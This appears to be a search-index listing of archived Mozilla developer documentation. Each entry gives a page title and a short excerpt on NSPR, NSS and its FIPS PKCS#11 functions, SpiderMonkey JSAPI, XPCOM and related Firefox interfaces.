PR_SetThreadPrivate
synchronization is the client's responsibility.
PR_Sleep
if you have already created such structures, it is more efficient to use them directly.
PR_Sync
synchronizes any buffered data for a file descriptor to its backing device (disk).
PR_TicksPerSecond
this value is platform-dependent and does not change after nspr is initialized.
PR_UnblockClockInterrupts
unblocks the timer signal used for preemptive scheduling.
PR_Writev
this is the type definition for priovec: typedef struct priovec { char *iov_base; int iov_len; } priovec; the priovec structure has the following fields: iov_base a pointer to the beginning of the buffer.
Random Number Generator
this chapter describes the nspr random number generator.
NSS Code Coverage
these numbers doesn't count blocks in files which are not tested (marked with red color), because we don't know number of blocks there.
Build instructions for JSS 4.4.x
build instructions for jss 4.4.x newsgroup: mozilla.dev.tech.crypto to build jss see upstream jss build/test instructions next, you should read the instructions on using jss.
NSS 3.19.2.2 release notes
introduction network security services (nss) 3.19.2.2 is a security patch release for nss 3.19.2.
NSS 3.19.2.4 release notes
introduction network security services (nss) 3.19.2.4 is a security patch release for nss 3.19.2.
NSS 3.20.2 release notes
introduction network security services (nss) 3.20.2 is a security patch release for nss 3.20.
NSS 3.22.3 release notes
introduction network security services (nss) 3.22.3 is a patch release for nss 3.22.
NSS 3.31.1 release notes
introduction the network security services (nss) team has released nss 3.31.1, which is a patch release for nss 3.31.
NSS 3.44.2 release notes
introduction network security services (nss) 3.44.2 is a patch release for nss 3.44.
NSS 3.44.3 release notes
introduction network security services (nss) 3.44.3 is a patch release for nss 3.44.
NSS 3.44.4 release notes
this is a security patch release.
NSS 3.46.1 release notes
introduction network security services (nss) 3.46.1 is a patch release for nss 3.46.
NSS 3.47.1 release notes
introduction network security services (nss) 3.47.1 is a patch release for nss 3.47.
NSS 3.52.1 release notes
this is a security patch release.
NSS Sample Code
see https://bugzilla.mozilla.org/show_bug.cgi?id=490238 you are welcome to download the new samples via: hg clone https://hg.mozilla.org/projects/nss; cd nss; hg update samples_branch the new samples: /docs/mozilla/projects/nss/new_nss_samples ...
New NSS Samples
see https://bugzilla.mozilla.org/show_bug.cgi?id=490238 how to download the samples: hg clone https://hg.mozilla.org/projects/nss; cd nss; hg update samples_branch samples list: sample code 1: hashing sample code 2: init nss database sample code 3: encrypt/decrypt and mac using token sample code 4: encrypt/decrypt and mac using session objects sample code 5: encrypt/decrypt/mac output public key as a csr sample code 6: encrypt/decrypt/mac generating a pkcs#11 csr common code used by these samples: sample code 0: utilities thanks are due to...
Building and installing NSS
this chapter describes how to build and install nss.
FC_DecryptDigestUpdate
ppart [in] pointer to the location which receives the recovered data part or null.
FC_DecryptVerifyUpdate
pdata [in] pointer to the location which receives the recovered data part or null.
FC_DigestEncryptUpdate
pencryptedpart [in] pointer to the location which receives the digested and encrypted part or null.
FC_DigestFinal
pdigest [out] pointer to the buffer which will receive the digest or null.
FC_Finalize
fc_finalize should check the preserved argument and return ckr_arguments_bad if preserved is not null.
FC_GetOperationState
puloperationstatelen [out] pointer to ck_ulong which receives the total length (in bytes) of the operation state.
FC_GetSlotList
pulcount [out] pointer to a ck_ulong variable which receives the slot count.; description fc_getslotlist obtains a list of slots in the system.
FC_Initialize
nss_nodb_init(""), which initializes nss with no databases: "configdir='' certprefix='' keyprefix='' secmod='' flags=readonly,nocertdb,nomod db,forceopen,optimizespace " mozilla firefox initializes nss with this string (on windows): "configdir='c:\\documents and settings\\wtc\\application data\\mozilla\\firefox\\profiles\\default.7tt' certprefix='' keyprefix='' secmod='secmod.db' flags=optimizespace manufacturerid='m...
FC_Login
syntax ck_rv fc_login( ck_session_handle hsession, ck_user_type usertype, ck_char_ptr ppin, ck_ulong ulpinlen ); parameters fc_login() takes four parameters: hsession [in] a session handle usertype [in] the user type (cku_so or cku_user) ppin [in] a pointer that points to the user's pin ulpinlen [in] the length of the pin description fc_login() logs a user into a token.
FC_SetPIN
syntax ck_rv fc_setpin( ck_session_handle hsession, ck_char_ptr poldpin, ck_ulong uloldlen, ck_char_ptr pnewpin, ck_ulong ulnewlen ); parameters fc_setpin takes five parameters: hsession [input] the session's handle poldpin [input] points to the old pin.
FC_SignEncryptUpdate
pencryptedpart [in] pointer to the location which receives the signed and encrypted data part or null.
FC_SignFinal
psignature [out] pointer to the buffer which will receive the digest or null.
FC_SignRecover
pdata [in] mechanism to be used for the signing operation.
FC_Verify
ckr_signature_invalid is returned for signature mismatch.
FC_VerifyFinal
psignature [in] pointer to the buffer which will receive the digest or null.
FC_VerifyRecover
psignature [in] mechanism to be used for the signing operation.
FC_WaitForSlotEvent
name fc_waitforslotevent - waits for a slot event, such as token insertion or token removal, to occur.
NSC_Login
syntax ck_rv nsc_login( ck_session_handle hsession, ck_user_type usertype, ck_char_ptr ppin, ck_ulong ulpinlen ); parameters nsc_login() takes four parameters: hsession [in] a session handle usertype [in] the user type (cku_so or cku_user) ppin [in] a pointer that points to the user's pin ulpinlen [in] the length of the pin description nsc_login() logs a user into a token.
FIPS mode of operation
general-purpose functions fc_getfunctionlist fc_initialize fc_finalize fc_getinfo slot and token management functions fc_getslotlist fc_getslotinfo fc_gettokeninfo fc_waitforslotevent fc_getmechanismlist fc_getmechanisminfo fc_inittoken fc_initpin fc_setpin session management functions fc_opensession fc_closesession fc_closeallsessions fc_getsessioninfo fc_getoperationstate fc_setoperationstate fc_login fc_logout object management functions these functions manage certificates and keys.
NSS cryptographic module
this chapter describes the data types and functions that one can use to perform cryptographic operations with the nss cryptographic module.
NSS Tools Man Pages - work in progress
certutil certutil pk12util pk12util modutil modutil crlutil crlutil cmsutil cmsutil vfychain vfychain vfyserv vfyserv ssltap ssltap this is still a work in progress and in early stages.
modutil-tasks.html
nss security tools: modutil tasks newsgroup: mozilla.dev.tech.crypto task list the jar installation script is very fragile with respect to platform definitions (especially version numbers).
NSS Tools modutil-tasks
nss security tools: modutil tasks newsgroup: mozilla.dev.tech.crypto task list the jar installation script is very fragile with respect to platform definitions (especially version numbers).
NSS Tools pk12util-tasks
nss security tools: pk12util tasks newsgroup: mozilla.dev.tech.crypto task list need to migrate code to use an up-to-date version of nss.
NSS Tools signver-tasks
nss security tools: signver tasks newsgroup: mozilla.dev.tech.crypto task list remove private hash algortihms and replace with code in lib/hash, lib/crypto, and ...
Personal Security Manager (PSM)
archived information about psm ...
Performance Hints
for example, the code var a = new array(); for (var i=0; i < n; i++) a[i] = i; could be sped up by changing the constructor call to new array(n).
DOUBLE_TO_JSVAL
see also mxr id search for double_to_jsval js::tonumber js_numbervalue js::doublevalue bug 1177892 -- removed ...
JS::AutoVectorRooter
class parent class js::autovaluevector autovectorrooter<value> js::autoidvector autovectorrooter<jsid> js::autoobjectvector added in spidermonkey 24 autovectorrooter<jsobject *> js::autofunctionvector added in spidermonkey 31 autovectorrooter<jsfunction *> js::autoscriptvector autovectorrooter<jsscript *> see also mxr id search for js::autovectorrooter mxr id search for js::autovaluevector mxr id search for js::autoidvector mxr id search for js::autoobjectvector mxr id search for js::autofunctionvector mxr id search for js::autoscriptvector js::autovaluearray&lt;n&gt; - fixed-size array of js::value bug 677079 bug 868580 - expose js::autoobjectvector bug 848592 - added js::autofunctionvector bug 676281 - added...
JS::BooleanValue
see also mxr id search for js::booleanvalue js::value js::truevalue js::falsevalue ...
JS::DoubleNaNValue
see also mxr id search for js::doublenanvalue js::value js_getnanvalue ...
JS::DoubleValue
see also mxr id search for js::doublevalue js::value js::int32value js::float32value js::numbervalue js_numbervalue ...
JS::FalseValue
see also mxr id search for js::falsevalue js::value js::booleanvalue js::truevalue ...
JS::Float32Value
see also mxr id search for js::float32value js::value js::int32value js::doublevalue js::numbervalue js_numbervalue ...
JS::HandleValueArray
see also mxr id search for js::handlevaluearray js::rootedvalue js::autovaluevector js::autovaluearray bug 965830 ...
JS::IdentifyStandardInstance
see also mxr id search for js::identifystandardinstance mxr id search for js::identifystandardprototype mxr id search for js::identifystandardinstanceorprototype mxr id search for js::identifystandardconstructor jsprotokey bug 975277 bug 976148 - added identifystandardconstructor ...
JS::Int32Value
see also mxr id search for js::int32value js::value js::float32value js::doublevalue js::numbervalue js_numbervalue ...
JS::IsCallable
see also mxr id search for js::iscallable mxr id search for js::isconstructor js_isconstructor js_isnativefunction bug 1065811 ...
JS::NullHandleValue
see also mxr id search for js::nullhandlevalue js::undefinedhandlevalue js::truehandlevalue js::falsehandlevalue bug 865969 ...
JS::NullValue
see also mxr id search for js::nullvalue js::value js::nullhandlevalue ...
JS::NumberValue
see also mxr id search for js::numbervalue js::value js::int32value js::float32value js::doublevalue js_numbervalue ...
JS::ObjectOrNullValue
see also mxr id search for js::objectornullvalue js::value js::objectvalue ...
JS::ObjectValue
see also mxr id search for js::objectvalue js::value js::objectornullvalue ...
JS::StringValue
see also mxr id search for js::stringvalue js::value ...
JS::SymbolValue
see also mxr id search for js::symbolvalue js::value bug 645416) ...
JS::ToBoolean
mxr id search for js::toboolean bug 749536 ...
JS::TrueHandleValue
see also mxr id search for js::truehandlevalue mxr id search for js::falsehandlevalue js::nullhandlevalue js::undefinedhandlevalue bug 959787 ...
JS::TrueValue
see also mxr id search for js::truevalue js::value js::booleanvalue js::falsevalue ...
JS::UndefinedHandleValue
see also mxr id search for js::undefinedhandlevalue js::nullhandlevalue js::truehandlevalue js::falsehandlevalue bug 865969 ...
JS::UndefinedValue
see also mxr id search for js::undefinedvalue js::value js::undefinedhandlevalue ...
JSExceptionState
see also mxr id search for jsexceptionstate js_saveexceptionstate js_restoreexceptionstate js_dropexceptionstate ...
JSFUN_BOUND_METHOD
jsfun_bound_method is a flag that indicates a method associated with an object is bound to the method's parent, the object on which the method is called.
JSFreeOp
see also mxr id search for jsfreeop js_freeop js_getdefaultfreeop jsfinalizecallback jsdestroycompartmentcallback bug 737365 ...
JSID_IS_EMPTY
see also mxr id search for jsid_is_empty jsid_empty ...
JSID_IS_GCTHING
see also mxr id search for jsid_is_gcthing mxr id search for jsid_to_gcthing ...
JSID_IS_INT
see also mxr id search for jsid_is_int mxr id search for jsid_to_int mxr id search for int_fits_in_jsid mxr id search for int_to_jsid ...
JSID_IS_SYMBOL
see also mxr id search for jsid_is_symbol mxr id search for jsid_to_symbol mxr id search for symbol_to_jsid bug 645416 ...
JSID_IS_VOID
see also mxr id search for jsid_is_void jsid_void ...
JSID_IS_ZERO
see also mxr id search for jsid_is_zero bug 601457 ...
JSIdArray
see also mxr id search for jsidarray js_idarraylength js_idarrayget jsproperty js_enumerate js_destroyidarray js::autoidarray ...
JSIteratorOp
syntax typedef jsobject * (*jsiteratorop)(jscontext *cx, jsobject *obj, jsbool keysonly); name type description cx jscontext * pointer to the js context in which the iterator creation should take place.
JSPropertyDescriptor
value describes the value of the specified property, which can be any valid javascript value (function, object, string...) configurable declare that the property can be modified and deleted enumerable declare that the property can be enumerated, and the enumerable genus can be traversed by the for...in loop.
JSType
see also mxr id search for jstype ...
JSVAL_IS_DOUBLE
to check whether v is a number, regardless of implementation details, use jsval_is_number instead.
JSVAL_IS_NULL
syntax jsval_is_null(v) description jsval_is_null(v) is true if v is jsval_null, which is the javascript null value.
JSVAL_IS_STRING
to access the content of a string jsval, use jsval_to_string, js_getstringchars, and js_getstringlength.
JSVAL_IS_VOID
syntax jsval_is_void(v) description jsval_is_void(v) is true if v is jsval_void, which represents the javascript value undefined.
JSVAL_NULL
see also mxr id search for jsval_null jsval_void jsval_true jsval_false jsval_zero jsval_one bug 1177825 -- removed ...
JSVAL_ONE
see also mxr id search for jsval_one int_to_jsval js_newcontext jsval_null jsval_void jsval_true jsval_false jsval_zero bug 1177825 -- removed ...
JSVAL_TO_DOUBLE
casts a given jsval to a jsdouble without any type checking or error handling.
JSVAL_TO_INT
converts an integer jsval to a c integer without any type checking or error handling.
JSVAL_TRUE
see also mxr id search for jsval_true mxr id search for jsval_false jsval_null jsval_void jsval_zero jsval_one bug 1177825 -- removed ...
JSVAL_VOID
see also mxr id search for jsval_void jsval_null jsval_true jsval_false jsval_zero jsval_one bug 1177825 -- removed ...
JSVAL_ZERO
see also mxr id search for jsval_zero int_to_jsval js_newcontext jsval_null jsval_void jsval_true jsval_false jsval_one bug 1177825 -- removed ...
JS_ASSERT_STRING_IS_FLAT
see also mxr id search for js_assert_string_is_flat js_stringisflat bug 609440 ...
JS_ClearRegExpStatics
see also mxr id search for js_clearregexpstatics js_newregexpobject js_newucregexpobject js_setregexpinput regexp ...
JS_DeepFreezeObject
see also mxr id search for js_deepfreezeobject js_freezeobject bug 492849 ...
JS_DestroyContext
see also mxr id search for js_destroycontext mxr id search for js_destroycontextnogc mxr id search for js_destroycontextmaybegc js_newcontext bug 737364 ...
JS_DestroyIdArray
see also mxr id search for js_destroyidarray jsidarray js_enumerate ...
JS_DestroyRuntime
see also mxr id search for js_destroyruntime js_newruntime ...
JS_DoubleIsInt32
see also mxr id search for js_doubleisint32 js_doubletoint32 js_doubletouint32 bug 631132 bug 744965 ...
JS_DoubleToInt32
see also mxr id search for js_doubletoint32 mxr id search for js_doubletouint32 bug 631132 bug 1112774 ...
JS_EnterCrossCompartmentCall
syntax jscrosscompartmentcall * js_entercrosscompartmentcall(jscontext *cx, jsobject *target); name type description cx jscontext * the context on which a cross-compartment call is needed.
JS_EnumerateDiagnosticMemoryRegions
see also mxr id search for js_enumeratediagnosticmemoryregions mxr id search for jsenumeratediagnosticmemorycallback bug 662646 ...
JS_ErrorFromException
see also mxr id search for js_errorfromexception jserrorreport ...
JS_FORGET_STRING_FLATNESS
see also mxr id search for js_forget_string_flatness jsflatstring jsstring bug 609440 ...
JS_GetClassObject
see also mxr id search for js_getclassobject js_getclassprototype jsprotokey ...
JS_GetClassPrototype
see also mxr id search for js_getclassprototype js_getclassobject jsprotokey ...
JS_GetConstructor
see also mxr id search for js_getconstructor ...
JS_GetContextThread
mxr id search for js_getcontextthread ...
JS_GetDefaultFreeOp
see also mxr id search for js_getdefaultfreeop js_freeop jsfreeop bug 737365 ...
JS_GetEmptyStringValue
see also mxr id search for js_getemptystringvalue bug 1184564 -- changed jsval to js::value ...
JS_GetErrorPrototype
see also mxr id search for js_geterrorprototype bug 997285 ...
JS_GetExternalStringFinalizer
see also mxr id search for js_ js_newexternalstring bug 724810 ...
JS_GetFunctionArity
see also mxr id search for js_getfunctionarity js_definefunction ...
JS_GetFunctionId
}; // a.b a.c = function() {}; // a.c a.d = (function() { // a.d< -- the '<' loosely means "contributor to" return function() {}; // a.d })(); var foo = function() { // foo var bar = function() {}; // foo/bar }; settimeout(function() {}, 100); // no name, js_getfunctiondisplayid returns null see also mxr id search for js_getfunctionid mxr id search for js_getfunctiondisplayid bug 433529 - added js_getfunctiondisplayid ...
JS_GetFunctionObject
see also mxr id search for js_getfunctionobject js_compilefunction ...
JS_GetNaNValue
see also mxr id search for js_getnanvalue js_getnegativeinfinityvalue js_getpositiveinfinityvalue bug 1184564 -- changed jsval to js::value ...
JS_GetObjectRuntime
see also mxr id search for js_getobjectruntime bug 723286 ...
JS_GetParentRuntime
see also mxr id search for js_getparentruntime js_getruntime bug 964059 ...
JS_GetPositiveInfinityValue
see also mxr id search for js_getpositiveinfinityvalue mxr id search for js_getnegativeinfinityvalue js_getnanvalue bug 1184564 -- changed jsval to js::value ...
JS_GetPrivate
see also mxr id search for js_getprivate ...
JS_GetRegExpFlags
see also mxr id search for js_getregexpflags js_newregexpobject js_newucregexpobject flags regexp bug 655641 ...
JS_GetRegExpSource
see also mxr id search for js_getregexpsource js_newregexpobject js_newucregexpobject regexp bug 655641 ...
JS_GetStringEncodingLength
see also mxr id search for js_getstringencodinglength js_encodestringtobuffer js::deflatestringtoutf8buffer js::getdeflatedutf8stringlength bug 607292 ...
JS_GetTypeName
syntax const char * js_gettypename(jscontext *cx, jstype type); name type description cx jscontext * pointer to a js context from which to derive runtime information.
JS_GetVersion
see also mxr id search for js_getversion js_versiontostring js_stringtoversion js_setversionforcompartment ...
JS_HasArrayLength
syntax jsbool js_hasarraylength(jscontext *cx, jsobject *obj, jsuint *lengthp); name type description cx jscontext * pointer to a js context from which to derive runtime information.
JS_IdArrayGet
see also mxr id search for js_idarrayget jsidarray js_idarraylength bug 641027 ...
JS_IdArrayLength
see also mxr id search for js_idarraylength jsidarray js_idarrayget bug 641027 ...
JS_Init
see also mxr id search for js_init js_newruntime js_shutdown bug 896124 ...
JS_InternJSString
see also mxr id search for js_internjsstring bug 609440 ...
JS_IsArrayObject
see also mxr id search for js_isarrayobject bug 959787 - added value bug 1179003 - added isarray ...
JS_IsBuiltinEvalFunction
see also mxr id search for js_isbuiltinevalfunction js_isbuiltinfunctionconstructor bug 638312 ...
JS_IsBuiltinFunctionConstructor
see also mxr id search for js_isbuiltinfunctionconstructor js_isbuiltinevalfunction bug 638312 ...
JS_IsConstructing_PossiblyWithGivenThisObject
in such cases, the following example would provide the additional information of whether a special this was supplied.
JS_IsConstructor
see also mxr id search for js_isconstructor js::isconstructor bug 807228 ...
JS_IsExtensible
see also mxr id search for js_preventextensions js_preventextensions bug 492845 ...
JS_IsGlobalObject
see also mxr id search for js_isglobalobject js_newglobalobject bug 797821 ...
JS_IsNativeFunction
see also mxr id search for js_isnativefunction js_isnative bug 648801 ...
JS_IsRunning
see also mxr id search for js_isrunning ...
JS_IterateCompartments
see also mxr id search for js_iteratecompartments mxr id search for jsiteratecompartmentcallback bug 702300 bug 731618 bug 887030 ...
JS_LeaveLocalRootScope
leaving a nested local root scope causes all objects created since the matching js_enterlocalrootscope call to become subject to garbage collection.
JS_LeaveLocalRootScopeWithResult
this slot is rooted, but the value will eventually be overwritten by some other operation, and it is very difficult to figure out exactly when this will happen—or more to the point, guarantee that it won't happen in the time it takes some specific chunk of code to run.
JS_Lock
see also mxr id search for js_lock js_getruntime, js_unlock ...
JS_LockGCThing
js_unlockgcthing removes a lock from a specified item, thing, allowing it to be garbage collected when the javascript engine determines it is unreachable.
JS_NewCompartmentAndGlobalObject
syntax jsobject * js_newcompartmentandglobalobject(jscontext *cx, jsclass *clasp, jsprincipals *principals); name type description cx jscontext * the context in which to create the new global object.
JS_NewDouble
syntax jsdouble * js_newdouble(jscontext *cx, jsdouble d); name type description cx jscontext * the context in which to create the new number.
JS_NewDoubleValue
create a floating-point jsval syntax jsbool js_newdoublevalue(jscontext *cx, jsdouble d, jsval *rval); name type description cx jscontext * the context in which to create the new number.
JS_NewNumberValue
syntax jsbool js_newnumbervalue(jscontext *cx, jsdouble d, jsval *rval); name type description cx jscontext * the context in which to create the new number.
JS_NumberValue
see also mxr id search for js_numbervalue bug 752223 bug 1184564 -- changed jsval to js::value ...
JS_ObjectIsFunction
note that the result may be false even for some callable objects, such as regular expression objects or proxy objects see also mxr id search for js_objectisfunction js_valuetofunction js_objectisfunction ...
JS_ObjectIsRegExp
see also mxr id search for js_objectisregexp js_newregexpobject js_newucregexpobject regexp bug 650931 ...
JS_PropertyStub
see also mxr id search for js_propertystub mxr id search for js_strictpropertystub jspropertyop jsstrictpropertyop bug 1103152 - removed js_deletepropertystub, js_enumeratestub, js_resolvestub, and js_convertstub bug 736978 - removed js_finalizestub bug 1113369 -- added result parameter ...
JS_Remove*Root
see also mxr id search for js_removevalueroot mxr id search for js_removestringroot mxr id search for js_removeobjectroot mxr id search for js_removegcthingroot bug 912581 ...
JS_SetGCParametersBasedOnAvailableMemory
see also mxr id search for js_setgcparametersbasedonavailablememory js_setgcparameter bug 950044 ...
JS_SetICUMemoryFunctions
mxr id search for js_seticumemoryfunctions.
JS_SetObjectPrincipalsFinder
mxr id search for js_setobjectprincipalsfinder ...
JS_SetRegExpInput
see also mxr id search for js_setregexpinput js_newregexpobject js_newucregexpobject jsreg_multiline js_clearregexpstatics regexp ...
JS_SetVersionForCompartment
see also mxr id search for js_setversionforcompartment jsversion js_getversion js_versiontostring js_stringtoversion bug 880917 ...
JS_ShutDown
see also mxr id search for js_shutdown js_init js_newruntime js_destroyruntime js_newcontext js_destroycontext ...
JS_StringHasBeenInterned
see also mxr id search for js_stringhasbeeninterned bug 724810 ...
JS_StringIsFlat
see also mxr id search for js_stringisflat bug 1037869 ...
JS_Unlock
mxr id search for js_unlock ...
JS_ValueToECMAInt32
syntax jsbool js_valuetoecmaint32(jscontext *cx, jsval v, int32 *ip); jsbool js_valuetoecmauint32(jscontext *cx, jsval v, uint32 *ip); jsbool js_valuetouint16(jscontext *cx, jsval v, uint16 *ip); name type description cx jscontext * the context in which to perform the conversion.
JS_ValueToSource
syntax jsstring * js_valuetosource(jscontext *cx, js::handle<js::value> v); name type description cx jscontext * the context in which to perform the conversion.
JS_YieldRequest
mxr id search for js_yieldrequest ...
JS_freeop
see also mxr id search for js_freeop jsfreeop js_free bug 737365 ...
OBJECT_TO_JSVAL
see also mxr id search for object_to_jsval js_valuetoobject js::objectvalue js::objectornullvalue bug 1177892 -- removed ...
PRIVATE_TO_JSVAL
see also mxr id search for private_to_jsval js::privatevalue bug 952650 bug 1177892 -- removed ...
STRING_TO_JSVAL
see also mxr id search for string_to_jsval js::stringvalue bug 1177892 -- removed ...
SpiderMonkey: The Mozilla JavaScript runtime
js debugger api reference api reference for the debugger object introduced in spidermonkey 1.8.6, which corresponds to gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5).
TPS Formdata Lists
a formdata asset list is an array of objects, each with the following properties: fieldname: required.
TPS Tab Lists
there are a handful of static pages at http://hg.mozilla.org/services/tps/file/tip/pages which can be used for tab testing, and data: url's can be used as well.
Zest runtimes
python no code available yet if you are interested in working on an existing or new zest runtime then please get in touch via the zest group.
Pinning violation reports
if a site makes use of key pinning, and your browser sees a certificate chain for that site which does not match the pin, firefox will reject the connection and display an error page.
ROLE_ALERT
assistive technologies typically respond to the role by reading the entire onscreen contents of containers advertising this role.
ROLE_OUTLINEITEM
interfaces nsiaccessibletreecache nsiaccessible nsiaccessibleselectable nsiaccessnode mapped to at-spi: role_list_item atk: atk_role_list_item ua: nsaccessibilityrowrole (use outlinerow as subrole) msaa/ia2: role_system_outlineitem used by aria: treeitem html: ??
Using the Places tagging service
current tags set for the url persist, and tags which are already set for the given url are ignored.
Places
retrieving part of the bookmarks tree how to fetch a section of the bookmarks tree using queries.
FUEL
objects extiapplication objects extiapplication exticonsole extieventitem extieventlistener extievents extiextension extiextensions extipreference extipreferencebranch extisessionstorage fueliapplication objects fueliannotations fueliapplication fuelibookmark fuelibookmarkfolder fuelibookmarkroots fuelibrowsertab fueliwindow xpcom although the fuel application object is preloaded into xul scripts, it is not preloaded into javascript xpcom code.
SMILE
objects extiapplication objects exticonsole extieventitem extieventlistener extievents extiextension extiextensions extipreference extipreferencebranch extisessionstorage smileiapplication objects smileibookmarkroots smileiwindow smileibrowsertab smileiapplication xpcom although the extiapplication object is preloaded into xul scripts, it is not preloaded into javascript xpcom code.
STEEL
objects extiapplication objects extiapplication exticonsole extieventitem extieventlistener extievents extiextension extiextensions extipreference extipreferencebranch extisessionstorage steeliapplication objects steeliapplication xpcom although the steel steeliapplication object is preloaded into xul scripts, it is not preloaded into javascript xpcom code.
extISessionStorage
return type method boolean has(in astring aname) void set(in astring aname, in nsivariant avalue) nsivariant get(in astring aname, in nsivariant adefaultvalue) attributes attribute type description events readonly attribute extievents the events object for the storage supports: "change" methods has() determines if a storage item exists with the given name.
Binary compatibility
comments and questions should be directed to the newsgroup, mozilla.dev.tech.xpcom, or the mailing list, mozilla-xpcom@mozilla.org.
XPCOM Glue without mozalloc
simply change all references to "xpcomglue_s" in your compiler and linker flags to "xpcomglue_s_nomozalloc".
Resources
current module owners xpinstall xul xpcom resources the xpcom project page xulplanet's online xpcom reference information on xpconnect and scriptable components the smart pointer guide xpidl xpidl compiler reference general development resources the world wide web consortium url specification at the w3 gnu make « previous copyright (c) 2003 by doug turner and ian oeschger.
Components.Exception
syntax var exception = [ new ] components.exception([ message [, result [, stack [, data ] ] ] ]); parameters message a string which can be displayed in the error console when your exception is thrown or in other developer-facing locations, defaulting to 'exception' result the nsresult value of the exception, which defaults to components.results.ns_error_failure stack an xpcom stack to be set on the exception (defaulting to the current stack chain) data any additional data you might want to store, defaulting to null ...
Components.ID
components.classes, components.classesbyid, components.interfaces provide pretty much all the nsids that most javascript code would ever need to deal with.
Components.classesByID
each property represents one of the classes of xpcom components that can be constructed or accessed as an xpcom service.
Components.returnCode
components.returncode is a property which can hold an xpcom return code additionally to the value returned by the return statement.
Components.utils.evalInSandbox
note: it's not safe to use evalinsandbox() to evaluate json strings; instead, use the techniques discussed in the article on json.
Components.utils.makeObjectPropsNormal
syntax void components.utils.makeobjectpropsnormal(obj); parameters obj the object for which to ensure all methods are in its scope.
Development
list of open javaxpcom bugs open a new javaxpcom bug checkins within the last month ...
Examples
there are several java test applications checked in to the tree that give examples on how to embed gecko or init xpcom from within java.
appShellService
then again, there's a much easier way; one of the xpcshell extensions is a quit function: quit(3) ...
NS_Alloc
return values this function returns a pointer to the allocated block of memory, which is suitably aligned for any kind of variable, or null if the allocation failed.
NS_InitXPCOM2
some of the possible errors are documented below: ns_error_not_initialized indicates that static globals were not yet initialized, which may happen if this method is called before xpcom's static initialization code executes.
NS_InitXPCOM3
some of the possible errors are documented below: ns_error_not_initialized indicates that static globals were not yet initialized, which may happen if this method is called before xpcom's static initialization code executes.
NS_ShutdownXPCOM
calling this method triggers the "xpcom-shutdown" notification to be dispatched to observers.
nsresult
as a result, it was possible for code to misuse it, such as returning an nsresult value from a function whose signature indicates it returns a boolean.
Core XPCOM functions
xpcom provides a number of global functions which are used to initialize and shut down the xpcom library, as well as to allocate memory, get access to services, and to instantiate interfaces.
get
const char_type* get() const; example code nsembedcstring str("hello world"); printf("%s\n", str.get()); ...
nsEmbedCString
explicit nsembedcstring( const char_type* adata, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to copy into this string.
get
const char_type* get() const; example code void getbar(nsastring &result); void func() { nsembedstring str; getbar(str); const prunichar *data = str.get(); ...
nsEmbedString
explicit nsembedstring( const char_type* adata, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to copy into this string.
Free
this may be nsnull, in which case nothing happens.
HeapMinimize
if false, the flush will be scheduled to happen when the app is idle.
IAccessibleImage
1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) this interface is used for a representation of images like icons on buttons.
IAccessibleRelation
1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) method overview [propget] hresult localizedrelationtype([out] bstr localizedrelationtype ); [propget] hresult ntargets([out] long ntargets ); [propget] hresult relationtype([out] bstr relationtype ); [propget] hresult target([in] long targetindex, [out] iunknown target ); [propget] hresult targets([in] long maxtargets, [out, size_is(maxtargets), length_is( ntargets)] iunknown targets, [out] long ntargets ); methods localizedrelationtype() returns a localized version of the relation type.
IAccessibleTableCell
1.0 66 introduced gecko 1.9.2 inherits from: iunknown last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview [propget] hresult columnextent([out] long ncolumnsspanned ); [propget] hresult columnheadercells([out, size_is(, ncolumnheadercells,)] iunknown cellaccessibles, [out] long ncolumnheadercells ); [propget] hresult columnindex([out] long columnindex ); [propget] hresult isselected([out] boolean isselected ); [propget] hresult rowcolumnextents([out] long row, [out] long column, [out] long rowextents, [out] long columnextents, [out] boolean isselected ); [propget] hresult rowextent([out...
IAccessibleValue
1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) the iaccessiblevalue interface represents a single numerical value and should be implemented by any class that supports numerical value like progress bars and spin boxes.
amIInstallCallback
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void oninstallended(in astring aurl, in print32 astatus); methods oninstallended() called when an install completes or fails.
amIWebInstallInfo
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void install(); attributes attribute type description installs nsivariant an array of addoninstall objects.
amIWebInstallListener
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method overview boolean onwebinstallblocked(in nsidomwindow awindow, in nsiuri auri, [array, size_is(acount)] in nsivariant ainstalls, [optional] in pruint32 acount); void onwebinstalldisabled(in nsidomwindow awindow, in nsiuri auri, [array, size_is(acount)] in nsivariant ainstalls, [optional] in pruint32 acount)...
amIWebInstallPrompt
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method overview void confirm(in nsidomwindow awindow, in nsiuri auri, [array, size_is(acount)] in nsivariant ainstalls, [optional] in pruint32 acount); prior to gecko 8.0, all references to nsidomwindow used in this interface were nsidomwindow.
mozIRepresentativeColorCallback
toolkit/components/places/mozicoloranalyzer.idlscriptable provides callback methods for mozicoloranalyzer 1.0 66 introduced gecko 17.0 inherits from: nsisupports last changed in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) method overview void oncomplete(in boolean success, [optional] in unsigned long color); methods oncomplete() will be called when color analysis finishes.
mozIStorageBindingParams
last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports you can only create mozistoragebindingparams objects by calling the mozistoragebindingparamsarray.newbindingparams().
mozIStorageResultSet
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method overview mozistoragerow getnextrow(); methods getnextrow() returns the next row from the result set.
mozIStorageRow
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: mozistoragevaluearray method overview nsivariant getresultbyindex(in unsigned long aindex); nsivariant getresultbyname(in autf8string aname); methods getresultbyindex() returns the value from a specific column in the row, using a zero-based index to identify the column.
